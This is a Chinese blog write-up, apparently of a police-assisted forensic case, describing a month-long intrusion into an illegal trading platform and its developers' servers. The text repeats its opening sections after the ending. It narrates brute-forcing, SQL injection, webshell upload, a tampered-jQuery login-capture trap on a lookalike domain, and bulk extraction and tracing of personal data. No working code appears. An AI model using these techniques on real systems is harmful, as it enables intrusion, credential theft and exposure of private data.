  在交易系统中发现可以浏览任意用户的信息。通过对Cookie的观察,发现是基于Thinkphp框架的,而且该系统中用户的ID出现在Cookie里,猜测可能存在平行越权,随后对ID进行篡改并测试。如图 0-2、0-3所示。
  
  图 0-2 修改前内容
  
  图 0-3 修改后内容
  进一步利用该漏洞,抓取更多信息。通过对网站上的JS文件的分析,找到一个未作安全校验的API接口。这样的话,结合Cookie欺骗和越权便可以抓取一部分会员的银行卡信息。如图 0-4所示。
  
  图 0-4 银行卡接口
  抓取了几个高层的信息后,发现数据似乎不全,隐约感觉到pul、user这两个网站的数据库中相关用户表的数据是彼此独立且存在一定关联的。由于该系统是基于thinkphp的框架,顺便利用其特性收集了路径信息:
  E:\website\\ThinkPHP\Library\Think\View.class.php
  E:\website\JIAOYIHOUTAI\vendor\laravel\framework\src\Illuminate\Routing\Router.php
  作者注:后来(迁移到*****后)为
  /pro_env/data/wwwroot//ThinkPHP/Library/Think/Dispatcher.class.php
  第1节后台!后台!后台!
  找到交易系统的后台并成功登录。在用户交易系统的网址后随手加上了/admin,没想到真的跳转到了管理后台。当访问 /admin 时,服务器自动进行了302跳转至x.x..x.220:81。(以下为保存到本地的网页,css样式表有问题导致网页异常)如图1 -1所示。
  
  图 1-1 后台登录页面
  利用字典爆破该后台,成功进入后台。如图 1-2、1-3、1-4所示。
  
  图 1-2 后台1
  
  图 1-3 后台2
  
  图 1-4 后台3
  通过与网安民警的交谈,需要进一步获取账户的具体信息。如图 1-5所示。
  
  图 1-5 汇报情况
  随后我用Python写了几个小脚本,通过遍历id的方式对网页进行抓取,为了方式流量过大引起不必要的麻烦,我写了一个单线程、随机延时的爬虫。如图 1-6所示。
  
  图 1-6 爬虫脚本
  通过脚本爬取并处理数据。经过一段时间的爬取,拿到了TOP5000账户的若干信息;为了直观和方便查看又写了一个处理脚本,将网页处理成表格。如图 1-7所示。
  
  图 1-7 处理后数据
  数据虽然已经够分析研判,但为了能出色的完成这桩案件、震慑违法犯罪的行为,咱主线任务还是要拿到权限,继续扩大战果。
  第2节 这才是真正的开始
  此章节属于广义社工环节,通过Google搜索,找到一些相关的宣传资料,并发现新目标:
  通过分析研判,发现一家叫做“companyA”的公司跟targetA有高度关联。如图 2-1所示。
  
  图 2-1 网站截图
  继续对该域名信息进行收集
  m*********:
  注册者************************************* (相关域名 1 个)
  注册机构***************************************
  邮箱*******@ (相关域名 1 个)
  电话+86.************
  子域名收集:
  ***shop. (***shop .m*********)
  admin. (admin.m*********)
  download. (download.m*********)
  *********
  下载并分析名为“targetB”的APP。根据QQ群的聊天记录以及其官网的宣传资料分析,发现“targetB”是一款集成targetA充值、交易于一身的半社交型App,找到官方下载入口后,将该app下载到本地。如图 2-2所示。
  图 2-2 APP下载入口
  逆向、提取并测试API接口。本来想安装到手机上分析,发现app已经无法登陆,随后对APP进行逆向分析,提取了其API接口,如图 2-3所示。
  图 2-3 API接口列表
  接口盲测试,发现SQL注入。因为无法APP已无法登录,所以只能对这些接口盲测试。皇天不负有心人,终于在一个接口中发现了注入。如图 2-4所示。
  
  图 2-4 测试注入
  通过ThinkPHP的调试功能拿到数据库密码。注入其实算不了什么,真正有用的是数据库密码:由于“targetB”的网站是基于thinkphp的,而且还开启了Debug功能,所以轻松拿数据库密码。如图 2-5所示。
  
  图 2-5 报错信息中含数据库密码
  将数据库的连接信息,填入数据库管理程序上,发现竟然无法连接。查了很久的资料才知道是阿里云数据库开启了安全策略,非白名单的IP是不能连接到该数据库。没办法,只能通过sql注入去获取数据了。利用报错注入获取数据,拿到的数据如图2-6、图 2-7所示。
  图 2-6 注入出的账号数据
  
  图 2-7 注入出的银行卡数据
  最后借助SQL注入构造查询语句,拿到targetB数据库大致的结构。此时虽然拿到了targetB的部分数据,但始终是没有拿到真正意义上的权限——Webshell。
  第三节曲折而又失败的入侵
  通过对网站的分析,发现该服务器上还有shop、download、***shop等网站应用,那么他们就极大可能性连接到这个数据库。通过渗透它们来拿到网站权限再以此为跳板操作数据库,岂不是可以真正的获取数据库了吗?接着利用SQLI跨库读取到 targetB 和 shop两个系统的后台账号。
  当我准备进入targetB后台时候(*********/admin),发现用户名密码明明都对上了,但一直在提示重新登陆,我一度怀疑这是假后台。一番折腾后,我猜测后台虽然是连接到了数据库,但不知道出于什么原因,后台废了,或者有其他的入口。
  如此一来只能尝试从shop这系统入手了。在登陆成功后,发现是基于开源ecshop系统且后台功能被严重阉割,根本无法上传或写入后门。到嘴边的肥肉了,就这么眼睁睁的放走?不可能的。通过对后台几个简陋的功能的分析,利用 kindeditor的列目录漏洞获取部分信息,如图 3-1所示。
  Payload如下:
  
  图 3-1 利用列目录漏洞
  只找到几个时间很久的网站压缩包,没什么用,至此思路中断。
  我们回到targetB数据库这条线上,世界上最遥远的距离不是你在天涯我在海角,而是我有你数据库的钥匙却被防火墙拦截了。有人说过,没有环境就自己创造环境;既然需要白名单,那我就迂回包抄,搞一个在白名单内的服务器。
  第四节钟馗抓鬼,定位开发者公司和白名单之旅
  巧用ThinkPHP特性,收集信息并进行广义社工。前面提到targetB是基于ThinkPHP的,我利用Debug日志文件对信息再次收集,其原理是网站在开启Debug功能后,访问runtime/log/20**/01/01.log 形式的文件,可以看到到该网站的访问日志、错误日志以及提交信息等。通过遍历所有的日志文件发现,里面有部分手机号,并且发现早期的网站路径并非当前的/alidata/www/app/index.php(该路径同样来源于框架报错页面),说明早期的那个路径可能是开发者的环境或者说是最早的网站环境。
  抱着手机号可能是开发者的想法,我想到一个追踪思路:查找最早的日志=>提取注册的手机号等信息=>定位开发者。根据日志里留存的信息整理出的结果,如图 4-1所示。
  图 4-1 社工出的信息
  一、 支线,简单的社会工程学
  看到上面的图片,你可以会有一些疑问,谁是“张**”、为什么多次提到某地区。所以还有个支线要提及,那就是发现targetB之前我还在 【腾讯视频】 发现了其他的视频宣传资料。如图 4-2所示。
  图 4-2 腾讯视频上的宣传信息
  其中一个名为“userA”的用户引起了我的注意,他是最早上传targetA相关的宣传视频,该视频既是全网独一无二的,又是高端大气上档次。以下为他录制的targetA视频的截图,如图 4-3、4-4所示。
  图 4-3 视频截图1
  
  图 4-4 视频截图2
  视频里他自称为“胖仔”,最早的发布时间是20**年*月,视频中对网站的各个功能熟练程度不逊于开发者而非使用者。而且更让我对他特别关注的另外一个原因则是,在“targetA*****流程”的录制视频中,他所访问的targetA网站 和目前我侦察的网站外观和功能上完全不一致,我推测是早期的网站(该平台的外观见上面的录制视频截图 图4-3),那什么人能接触到这个早期的平台呢?
  
  图 4-5 上传者主页
  通过对腾讯视频上的用户“userA”的分析,我整理出以下信息:
  
  图 4-6 社工上传者信息
  我想,分析到这里,是不是对这位小胖的身份有所领悟?他大学时期的所学专业是传媒学,而且腾讯视频上的宣传视频的上传用户也是他。这就说明他是targetA平台的一名核心人员或者是开发人员/视频后期制作人员 (这个结论其实是来自后来对“targetB”公司的分析)。分线交待完毕,回到主线:
  二、 定位开发者公司:
  利用targetB数据和搜索引擎,交叉关联并深挖开发者。主线上的分析并没有凸显出他们跟“companyA”公司有关联,那我是怎么挖出来他的呢?将日志里的几十个手机号放入到 targetB数据中进行交叉关联,发现有几个手机号均注册了targetB(此处分析见上面主线里的图片)。接着分别对这些手机号进行人肉搜索,发现手机号*******2126且targetB里实名用户“武*”的联系方式赫然出现在网络上,看来是开发团队的领导。如图 4-7所示。
  
  图 4-7 搜索开发者手机号
  我们再次重温一下targetB数据:
  
  图 4-8 重温targetB数据
  第一个注册的用户竟然是武*(起始id为**00),这说明了武*很有可能掌握targetB的重要信息,况且又是一个公司中开发团队的领导。几个线索一关联,随后定位到这个“companyA”。
  既然APP是“companyA”团队开发的,处于方便维护targetB网站原因,说不定他的服务器能连接到targetB的数据库呢。抱着这个念头,我掉转枪口准备怼companyA。
  三、 交出白名单:
  常规手段入侵“companyA”。通过信息收集,找到放置“targetB”网站的服务器,反向查询得到所有解析到该IP的域名。发现大多数网站都是基于thinkphp开发的,看来程序猿是严重依赖该框架的。俗话说捡软柿子捏,这次继续通过框架的报错特性拿到数据库连接信息和当前网站的路径。由于这次MySQL开启了外联功能,可以连接到数据库且是root权限的。利用mysql的导出功能给网站目录导出了一个WebShell,如图4-9所示。
  
  图 4-9 获取webshell
  顺手提取了administrator的密码,成功连接到远程桌面:
  
  图 4-10 提权服务器并连接
  咱们这次不能白来,果然可以连接到targetB数据库,如图 4-11、4-12所示。
  图 4-11 利用客户端连接数据库
  
  图 4-12 成功连接到数据库
  考虑到远程桌面打包起来过于麻烦且会留下大量痕迹,索性在webshell下导出所有数据
  
  图 4-13 webshell下导出数据库
  随后通过特殊办法分批将数据传输出去,如图 4-14
  
  图 4-14
  
  图 4-15 整理归类
  意料之外的战果,通过日志发现了“targetB”的后台:原来真正的后台是/****-admin,上次的后台/admin是废掉的。如图 4-16所示。
  图 4-16 targetB后台系统1
  图 4-17 targetB后台系统2
  这个后台对于我来说已经没什么用了,反正数据库权限已经拿到了。至此完成了对“targetB”的数据库取证,同时值得一提的是这个APP还收集用户的GPS信息,所以根据“心中有剑,落叶飞花,皆是兵器”这个思路可以将此数据用于后续对主要犯罪嫌疑人的定位。此时我的心情就好像从雨夜到了多云,本来可以开心的,但任务并不是拿下targetB,而是拿下这个交易平台的,毕竟 targetB并非直连到targetA数据库,简单讲targetB在法律上不能作为证据。这点东西远远不够,甚至可以说“跑题”了,一时陷入了僵局……
  第五节 “山重水复疑无路,柳暗花明又一村”——review出的突破口:
  2011年有个著名的高考作文题目——“回到原点”,戏剧性的是我回到原点时发现了新的情况。对的几个子域名进行测试,成功的找到其中一个网站的报错信息,如图 5-1、5-2所示。
  图 5-1 产生报错信息
  图 5-2 发现报错信息中的网址
  通过报错的文件,找到了一个看似不相关的网站:。访问一下看看吧,如图5-3,这个网站看起来很眼熟呀,经过我多次观察,发现这个网站外型是“素颜”版的,但它们二者究竟是什么关系?当我用之前在注册的账号尝试登陆时候,提示错误;通过特殊方法,发现这个网站只有X万左右的账号,而user却有XX万账号的,显然不是一个数据库,但二者关系很紧密,究竟是什么关系?
  
  图 5-3 该网址登录界面
  第六节 误打误撞的战术迂回:
  信息收集:
  /
  会员数量:5****
  爆破成功:***.***.***.84
  爆破成功:-***.***.***.152
  爆破成功:-***.***.140.99
  爆破成功:-***.***.101.151
  爆破成功:-***.***.44.55
  爆破成功:-***.***.44.55
  通过反查该服务器IP,发现有若干网站建设在此服务器。对其中一个网站的后台暴力破解成功进入,然后突破上传拿到webshell,读取administrator的密码连接远程桌面,常规过程不再赘述。
  
  图 6-1 旁站登录界面
  
  图 6-2 提权并连接服务器
  打包带走所有数据:(先森,你越界了,——小编注)
  
  图 6-3 打包数据
  在查找数据的过程中,发现D盘有个大新闻,原来这货(服务器所有者)的服务器上经营了多个类似涉案的网站,targetA只不过是其中的一个,推测 XX多万会员可能只是个幌子,很大几率是从这里面汇总过去的。
  
  图 6-4 发现更多非法网站
  同时发现该web服务器对应的域名里,赫然出现了
  
  图 6-5 曾经的targetA网站配置信息
  综上所述我的结论是,这可能是一台测试开发用途的服务器或者是旧版的网站所用过的服务器。随后打包走所有代码,下载回本地查看。
  
  图 6-6 打包的数据量
  通过本地对代码的分析,发现数据库文件存在于.env里:
  图 6-7 分析数据库配置信息
  由于这是旧的源码,不确定数据库连接信息是否更新过。再次通过技术手段查到以下几个IP可能是的主站:
  
  图 6-8 疑似主站真实IP
  随后尝试down下它们的.env文件,发现其中的个别网站确实能查看:
  
  图 6-9 尝试配置信息取回本地
  图 6-10 主站数据库配置信息
  如出一辙,它们的数据库连接信息都是
  rm-2*****************
  和刚才的 开发测试服务器 上发现的数据库实例只有一个字母的差别(两个域名皆指向同一台数据库,但分别是数据库的公网、内网IP),当我尝试连接这个rds时,提示错误。通过ping发现是一个内网IP。
  图 6-11 发现是数据库为内网地址
  尝试连接 rm-2********** 时候,直接提示“你的IP不在白名单内”(就连当前 这个开发服务器 也提示不在白名单内),顿时心情好似在下雪,前面大风大浪我都走过来了,难道就这么输了?
  答案是不可能的。和一位搞安全的朋友C吐槽了这番窘状,毕竟前面工作已经进展了一大半,况且目标网站的大部分源码已经到手了。原本又要增加N天的工作量的代码审计,在朋友随后的“发我源码”中完美解决,一杯咖啡的工夫,他发现了一个明显的SQL注入:
  
  图 6-12 挖出注入漏洞
  Where字符拼接导致的注入:位于交易系统pul.*****(之前是,后为逃避有关部门打击改成了pul.*****)中的cookie里,就在此前我发现存在越权漏洞的位置。当时脑子短路了,只想到那是个越权,却忘记了那里的key也是带入到数据库进行查询的。
  朋友C用手工注入的方式,发现密文位数很高,翻看代码时候发现是bcrypt函数加密的
  
  图 6-13 加密函数
  随后我俩心照不宣的进行了分工,简单写了两个脚本:
  图 6-14 盲注脚本
  
  图 6-15 bcrypt爆破脚本
  以下是朋友用盲注脚本跑出的,可见密文是多么高级,只能采用爆破的方式:
  $2y$10$Q8j***************************************fVHORkhGXO
  $2y$10$0B*************************************UserKd3ysBWizW.
  $2y$10$Oo1***********************************O4VaOnV5FDCrO
  $2y$10$dV**************************************jDn508IHUuOTq
  $2y$10$H***********************************UESOecqSEhOXj.35u
  爆破字典是破解密码的关键,不讲套路的爆破都是耍流氓!通过这一个月来收集的信息,整合了所有已知的涉案关键字,定制了几十万行的密码字典,并且购买了性能很高的VPS进行碰撞,一夜之后碰撞结果出来了:
  第七节 你好,久违的后台:
  通过技术手段找到pul.*****的后台,打开后发现居然和前面这个测试开发服务器上的某个网站的后台外型上完全一样,利用爆破出的账号密码进入后台,相同的方法getshell。
  
  图 7-1 交易系统的后台
  
  图 7-2 拿到交易系统的webshell
  这里插一句,测试开发服务器上的某个网站的后台和pul.*****的后台系统代码完全一致,可以推断出pul.*****的后台就是被测试服务器的所有者开发的(即,targetC的公司,后面专门分析该公司)。
  拿下这个网站后,我确定这个服务器的IP位于targetA数据库的白名单内,随后上传转发脚本,准备导出数据。进程不是想象中那么愉快,中间遇到导出速度慢至几十Kb或者出现失去响应等情况,没办法只能换别的思路(后期整理思路时候,想起来其实完全可以用mysqldump来脱数据,只是当局者迷忘记这个操作了)。
  这时候我想起了**.**.117.220(这个IP是的后台所在的服务器)。对该服务器进行端口扫描后,发现额外还有个83端口,访问后,后台风格和刚才那个完全一致,利用破译出来的密码成功登陆并且getshell和服务器最高权限。
  
  图 7-3 主站的后台
  由于是windows系统并且发现管理员的session深夜还在线,不敢鲁莽行事,给administrator账号植入了一个“屏幕查看”工具用以监控桌面:
  图 7-4 监控管理员桌面
  原来是手工记账,大半夜还在工作,都是打工的不容易啊。监控管理员到1点左右,抓取登录密码、连接远程桌面、上传数据库导出软件,一气呵成。好家伙,两个数据库导出文件三个多G,强行压缩到300M;而且发现服务器上网站挺多,一样打包带走,两个多G强行压缩到1个G带走:
  图 7-5 目标targetA的系列网站
  
  图 7-6 打包后的数据量
  至此完成主线所有任务。
  第八节 太公钓鱼:
  猥琐思路,劫持后台登录密码。考虑到后台那几个管理员账号的明文密码我拿到而且密码强度又太高,就算超级计算机也不一定完全无法碰撞开,怎么办?坐等收网审讯交代密码,不如来个姜太公钓鱼,让他把密码“送”给我~
  首先,购置一台VPS并注册了一个高仿的域名*****。
  图 8-1 注册高仿域名
  其次,防止被发现,我将其他的子域名做了cname解析,除了www以外,其他二级域皆重定向到真正的平台。
  再次,通过观察网站后台的前端代码,发现调用了jQuery,那我就篡改jQuery的代码,在加载js文件的同时加载我的后门:
  图 8-2 观察前端代码
  图 8-3 植入前端钓鱼代码
  最后,利用网上公开的JavaScript劫持表单的代码进行了二次修改,加之有关部门落查IP还需要端口号和在线时间等信息,最后简单写了一个PHP后端接收的代码:
  
  图 8-4 后端接收代码
  没有等太久,第二天一大早鱼儿咬钩了:
  图 8-5 鱼儿上钩了
  系统超级管理员Admin的明文密码里包含字母、数字和字符,强度很高,丢到后台查询了,明文和后台密文完全一致,打完收工~
  第九节 整理思路:
  写的比较乱,我再重新整理下思路:
  1、 平台存在很小的越权漏洞、后台账号存在弱口令,前期通过这些漏洞获取了部分数据用于立案侦察;
  2、为了拿到权限,扩大战果。全网搜集有关targetA的资料,成功找到companyA开发的一款名为“targetB”的APP,经过分析得知是targetA的手机端交易、聊天APP,以为跟主站是一个数据库,随后查到开发公司并入侵之,拿到targetB的数据库;
  3、虽然有所战果,但并不是最终目的,重整思路。经过测试后发现目标分站的程序报错,其中有个看似不相关的网址targetC,引起了我的注意【突破口】;
  4、经过分析调研,发现这个网站可能是targetA早期的平台,随后通过技术手段拿到targetC的服务器权限,成功获取了平台的开发源码,也得知了这可能是targetA网站的开发服务器;
  5、审计代码找到漏洞,一举拿下targetA(*****)平台的多个网站,又成功获取到其中一台服务器的权限,进入服务器打包走代码和数据,完成取证任务。
  6、通过劫持后台的方式获取所有管理员的明文账号密码等,成功获取所有管理员的信息。
  过程比较曲折,有种三起三落的感觉,好在最终不辱使命。从战术上来讲,针对targetA平台,先是全面战争,再是收缩战线,最后逐一击破。最重要的还是信息收集这个环节。前期收集的信息足够多,后续收缩战线时候才能发挥到极致,比如组合字典那环节。通过最后几天的渗透摸排,得出大概如下架构:
  
  大约6台WEB服务器,两台MySQL数据库,其中94是阿里数据库实例。
  第十节 手工仿真数据库及证据链分析
  想必作为公众号 信息时代的犯罪侦查 常年只看、不打赏还总白嫖的老看官,众所周知关于计算机取证方面最重要的要素之一就是完整性,因此先森取证时候并未直接down回元数据而是采取了数据库镜像的方式来保证这一点。那么问题随之而来了,后期如何在保证数据在不被修改的情况下将取回的数据库本地还原起来呢?其实这个过程操作的主要要点跟操作系统方面仿真一样,无非是架设起来环境和修改密码。
  一、确定MySQL版本号。
  原始数据库的环境是运行在Linux下的,先森比较懒惰,处于方便操作及安装调试方面的考虑,选择在Windows Server2008上还原数据库。将解压完的数据库镜像文件夹重命名为DATA,案例中是在xtrabackup_info文件夹中找到的数据库版本信息,如图 10-1所示。
  
  实在找不到版本号的情况下可以选择在要取证的服务器上输入mysql –v来查看或者根据建库时间来推数据库的版本。
  打开Oracle公司旗下的MySQL的历史版本发布网站 (由于众所周知的原因,访问外文网站可能较慢, 建议在不违反法律的情况下使用Proxy进行下载),根据需求选择合适的版本下载。
  
  二、配置数据库并复制数据。
  由于我们下载的MySQL是“绿色版”,因此需要对其进行简单的配置来确保数据库能够运行起来。将程序根目录的my-default.ini重命名为my.ini,接着按照注释内容指定好路径即可。这里我并未将存放元数据的文件夹放入到MySQL根路径下,有强迫症的朋友还原数据库的时候可以覆盖过去,最主要就是my.ini中的路径一定要配置正确。 参考图 10 -2
  
  三、安全模式启动数据库并手动修改密码。
  打开命令行并跳转到MySQL的bin目录下,执行命令“mysqld.exe --skip-grant-tables”,意思是启动数据库时跳过权限表,类似我们Linux取证时候的单用户模式。
  
  这时候MySQL的进程就自动进入后台了,接着在终端下启动新的进程mysql.exe,执行命令“mysql.exe –uroot –p”进入到数据库中。在终端中输入”show databases;”来确认数据库还原情况,通过下图可以看到数据库已还原起来。
  
  最后在MySQL中执行修改密码命令” update user set password=password('root') where user='root';”,下次登录数据库时候就可以使用该密码登录了,启动MySQL时去掉--skip-grant-tables参数即可,或者将其加入到服务中,跟随系统启动。
  
  下次登录MySQL时候只需要使用“mysql.exe –uroot -p”,在接下来的提示符中输入密码root即可登录进数据库。
  关于本案的证据链关联方面的分析:
  (以下内容太多涉及到涉案关键字,已作出大量删减,因影响阅读,请各位谅解)
  测试开发服务器的所有者隶属于 companyB 公司:
  
  而早期侦察的结果是,的开发是 “companyC”提供的,而这个“companyC”又是隶属于 company 的。网站代码里曾经多次出现过有关“companyC”的注释、链接等。
  targetB的线索:
  ********的公司的法人曾是 S某,后经过变更改为 L某。
  通过检索发现,S某 还有一家名为 “companyD”的公司,同样跟targetA有千丝万缕的联系。
  其次 S某 的手机号曾经出现在 张** 的录制视频里,我们有理由相信他们是认识的,甚至可能是合作关系或者同事关系。
  其中民警通过内网系统的反馈,尾号为2227的手机号机主就是S某。
  综合所有线索,大胆推测:targetA的开发者是 companyB,除了已有的线索外,他公司还有一个特点就是专门开发与涉案相关的产品,甚至有可能还是幕后推手;后来targetA为了壮大规模,推出了一款名为“targetB”的APP,开发者是来自**(某地区)的companyA公司。根据两个月提取的数据库日志来看,后台管理员活跃的几个地点如下:北京、山东、江苏;其中targetA的后台管理员活跃地为江苏,targetB的则是山东和北京。
  是为结局。
  【编者注】文中提到所有的企业,如天眼查,本号没有收取他们任何费用支持,特此声明。 查看全部

  【10步】完成一个十亿大案的电子数据取证
  写在前面的话
  这可能是已身坚志残的先森归隐之作,经历了某省有关XX招录政策各种变,对打击网络犯罪和维护网络安全的相关领域技能人才的不够重视。满腔热血就这么凝固,因此这段时间也消沉了很多,但即使如此,屠龙少年仍会不忘初心,始终以打击恶龙为己任!
  同时这也是一篇无奈的求职信,祈求有关XX中的伯乐能够慧眼识马,以管用有效的政策和公平公正地考察方式来检验相关应试人员的【技能和实力】,实现像先森这样一片赤诚为国奉献的年轻人的理想。
  这里要 感谢 前段时间在有关XX实习时朝夕相处的同事们及 提供有关XX实习机会的领导 、案例中某单位的几位朋友 和 后续提供技术支持的朋友C、 公众号信息时代的犯罪侦查等朋友们给予的机会和肯定。
  下面是正文,一改前期,以严肃、简练的文笔纪实了先森同学几年前协助有关XX侦破某案件。长达一个月的渗透和半个月的取证,期间并未截图且后期网站为躲避打击而做了迁移和改变,以下截图为后补的,信息可能有很多地方对不上的,望各位海涵。
  原涉案网址:,后改为*****
  
  第0节 信息收集
  本次行动旨在响应净网行动,打击违法网站,营造和谐社会。前期某单位民警通过线索发现辖区内有公民参与到涉案网站,并已对其立案侦查,现需要对整个涉案网站进行分析、取证。
  前期通过威胁情报平台和子域名爆破等方式拿到该网址的几个公开的子域名。
  子域名收集:
  ThinkPHP框架
  ……
  通过查询域名历史持有者拿到如下信息:
  域名持有者信息:
  注册者** (相关域名 1 个)
  注册机构*************************************
  邮箱********@ (相关域名 0 个)
  电话+86.***********
  电话: ***********
  注册者: **** *****
  邮箱: **********@
  注册账号后,进入用普通用户的后台。左侧一共四栏选择框,前两栏为功能模块;下一栏跳转到交易系统,最后一栏是宣传照。通过查看Cookie的信息,发现该网站有阿里云的防护,即使发现网站有漏洞也无法正面利用,如图 0-1所示。
  
  图 0-1 查看Cookies内容
  在交易系统中发现可以浏览任意用户的信息。通过对Cookie的观察,发现是基于Thinkphp框架的,而且该系统中用户的ID出现在Cookie里,猜测可能存在平行越权,随后对ID进行篡改并测试。如图 0-2、0-3所示。
  
  图 0-2 修改前内容
  
  图 0-3 修改后内容
  进一步利用该漏洞,抓取更多信息。通过对网站上的JS文件的分析,找到一个未作安全校验的API接口。这样的话,结合Cookie欺骗和越权便可以抓取一部分会员的银行卡信息。如图 0-4所示。
  
  图 0-4 银行卡接口
  抓取了几个高层的信息后,发现数据似乎不全,隐约感觉到pul、user这两个网站的数据库中相关用户表的数据是彼此独立且存在一定关联的。由于该系统是基于thinkphp的框架,顺便利用其特性收集了路径信息:
  E:\website\\ThinkPHP\Library\Think\View.class.php
  E:\website\JIAOYIHOUTAI\vendor\laravel\framework\src\Illuminate\Routing\Router.php
  作者注:后来(迁移到*****后)为
  /pro_env/data/wwwroot//ThinkPHP/Library/Think/Dispatcher.class.php
  第1节后台!后台!后台!
  找到交易系统的后台并成功登录。在用户交易系统的网址后随手加上了/admin,没想到真的跳转到了管理后台。当访问 /admin 时,服务器自动进行了302跳转至x.x..x.220:81。(以下为保存到本地的网页,css样式表有问题导致网页异常)如图1 -1所示。
  
  图 1-1 后台登录页面
  利用字典爆破该后台,成功进入后台。如图 1-2、1-3、1-4所示。
  
  图 1-2 后台1
  
  图 1-3 后台2
  
  图 1-4 后台3
  通过与网安民警的交谈,需要进一步获取账户的具体信息。如图 1-5所示。
  
  图 1-5 汇报情况
  随后我用Python写了几个小脚本,通过遍历id的方式对网页进行抓取,为了方式流量过大引起不必要的麻烦,我写了一个单线程、随机延时的爬虫。如图 1-6所示。
  
  图 1-6 爬虫脚本
  通过脚本爬取并处理数据。经过一段时间的爬取,拿到了TOP5000账户的若干信息;为了直观和方便查看又写了一个处理脚本,将网页处理成表格。如图 1-7所示。
  
  图 1-7 处理后数据
  数据虽然已经够分析研判,但为了能出色的完成这桩案件、震慑违法犯罪的行为,咱主线任务还是要拿到权限,继续扩大战果。
  第2节 这才是真正的开始
  此章节属于广义社工环节,通过Google搜索,找到一些相关的宣传资料,并发现新目标:
  通过分析研判,发现一家叫做“companyA”的公司跟targetA有高度关联。如图 2-1所示。
  
  图 2-1 网站截图
  继续对该域名信息进行收集
  m*********:
  注册者************************************* (相关域名 1 个)
  注册机构***************************************
  邮箱*******@ (相关域名 1 个)
  电话+86.************
  子域名收集:
  ***shop. (***shop .m*********)
  admin. (admin.m*********)
  download. (download.m*********)
  *********
  下载并分析名为“targetB”的APP。根据QQ群的聊天记录以及其官网的宣传资料分析,发现“targetB”是一款集成targetA充值、交易于一身的半社交型App,找到官方下载入口后,将该app下载到本地。如图 2-2所示。
  图 2-2 APP下载入口
  逆向、提取并测试API接口。本来想安装到手机上分析,发现app已经无法登陆,随后对APP进行逆向分析,提取了其API接口,如图 2-3所示。
  图 2-3 API接口列表
  接口盲测试,发现SQL注入。因为无法APP已无法登录,所以只能对这些接口盲测试。皇天不负有心人,终于在一个接口中发现了注入。如图 2-4所示。
  
  图 2-4 测试注入
  通过ThinkPHP的调试功能拿到数据库密码。注入其实算不了什么,真正有用的是数据库密码:由于“targetB”的网站是基于thinkphp的,而且还开启了Debug功能,所以轻松拿数据库密码。如图 2-5所示。
  
  图 2-5 报错信息中含数据库密码
  将数据库的连接信息,填入数据库管理程序上,发现竟然无法连接。查了很久的资料才知道是阿里云数据库开启了安全策略,非白名单的IP是不能连接到该数据库。没办法,只能通过sql注入去获取数据了。利用报错注入获取数据,拿到的数据如图2-6、图 2-7所示。
  图 2-6 注入出的账号数据
  
  图 2-7 注入出的银行卡数据
  最后借助SQL注入构造查询语句,拿到targetB数据库大致的结构。此时虽然拿到了targetB的部分数据,但始终是没有拿到真正意义上的权限——Webshell。
  第三节曲折而又失败的入侵
  通过对网站的分析,发现该服务器上还有shop、download、***shop等网站应用,那么他们就极大可能性连接到这个数据库。通过渗透它们来拿到网站权限再以此为跳板操作数据库,岂不是可以真正的获取数据库了吗?接着利用SQLI跨库读取到 targetB 和 shop两个系统的后台账号。
  当我准备进入targetB后台时候(*********/admin),发现用户名密码明明都对上了,但一直在提示重新登陆,我一度怀疑这是假后台。一番折腾后,我猜测后台虽然是连接到了数据库,但不知道出于什么原因,后台废了,或者有其他的入口。
  如此一来只能尝试从shop这系统入手了。在登陆成功后,发现是基于开源ecshop系统且后台功能被严重阉割,根本无法上传或写入后门。到嘴边的肥肉了,就这么眼睁睁的放走?不可能的。通过对后台几个简陋的功能的分析,利用 kindeditor的列目录漏洞获取部分信息,如图 3-1所示。
  Payload如下:
  
  图 3-1 利用列目录漏洞
  只找到几个时间很久的网站压缩包,没什么用,至此思路中断。
  我们回到targetB数据库这条线上,世界上最遥远的距离不是你在天涯我在海角,而是我有你数据库的钥匙却被防火墙拦截了。有人说过,没有环境就自己创造环境;既然需要白名单,那我就迂回包抄,搞一个在白名单内的服务器。
  第四节钟馗抓鬼,定位开发者公司和白名单之旅
  巧用ThinkPHP特性,收集信息并进行广义社工。前面提到targetB是基于ThinkPHP的,我利用Debug日志文件对信息再次收集,其原理是网站在开启Debug功能后,访问runtime/log/20**/01/01.log 形式的文件,可以看到到该网站的访问日志、错误日志以及提交信息等。通过遍历所有的日志文件发现,里面有部分手机号,并且发现早期的网站路径并非当前的/alidata/www/app/index.php(该路径同样来源于框架报错页面),说明早期的那个路径可能是开发者的环境或者说是最早的网站环境。
  抱着手机号可能是开发者的想法,我想到一个追踪思路:查找最早的日志=>提取注册的手机号等信息=>定位开发者。根据日志里留存的信息整理出的结果,如图 4-1所示。
  图 4-1 社工出的信息
  一、 支线,简单的社会工程学
  看到上面的图片,你可以会有一些疑问,谁是“张**”、为什么多次提到某地区。所以还有个支线要提及,那就是发现targetB之前我还在 【腾讯视频】 发现了其他的视频宣传资料。如图 4-2所示。
  图 4-2 腾讯视频上的宣传信息
  其中一个名为“userA”的用户引起了我的注意,他是最早上传targetA相关的宣传视频,该视频既是全网独一无二的,又是高端大气上档次。以下为他录制的targetA视频的截图,如图 4-3、4-4所示。
  图 4-3 视频截图1
  
  图 4-4 视频截图2
  视频里他自称为“胖仔”,最早的发布时间是20**年*月,视频中对网站的各个功能熟练程度不逊于开发者而非使用者。而且更让我对他特别关注的另外一个原因则是,在“targetA*****流程”的录制视频中,他所访问的targetA网站 和目前我侦察的网站外观和功能上完全不一致,我推测是早期的网站(该平台的外观见上面的录制视频截图 图4-3),那什么人能接触到这个早期的平台呢?
  
  图 4-5 上传者主页
  通过对腾讯视频上的用户“userA”的分析,我整理出以下信息:
  
  图 4-6 社工上传者信息
  我想,分析到这里,是不是对这位小胖的身份有所领悟?他大学时期的所学专业是传媒学,而且腾讯视频上的宣传视频的上传用户也是他。这就说明他是targetA平台的一名核心人员或者是开发人员/视频后期制作人员 (这个结论其实是来自后来对“targetB”公司的分析)。分线交待完毕,回到主线:
  二、 定位开发者公司:
  利用targetB数据和搜索引擎,交叉关联并深挖开发者。主线上的分析并没有凸显出他们跟“companyA”公司有关联,那我是怎么挖出来他的呢?将日志里的几十个手机号放入到 targetB数据中进行交叉关联,发现有几个手机号均注册了targetB(此处分析见上面主线里的图片)。接着分别对这些手机号进行人肉搜索,发现手机号*******2126且targetB里实名用户“武*”的联系方式赫然出现在网络上,看来是开发团队的领导。如图 4-7所示。
  
  图 4-7 搜索开发者手机号
  我们再次重温一下targetB数据:
  
  图 4-8 重温targetB数据
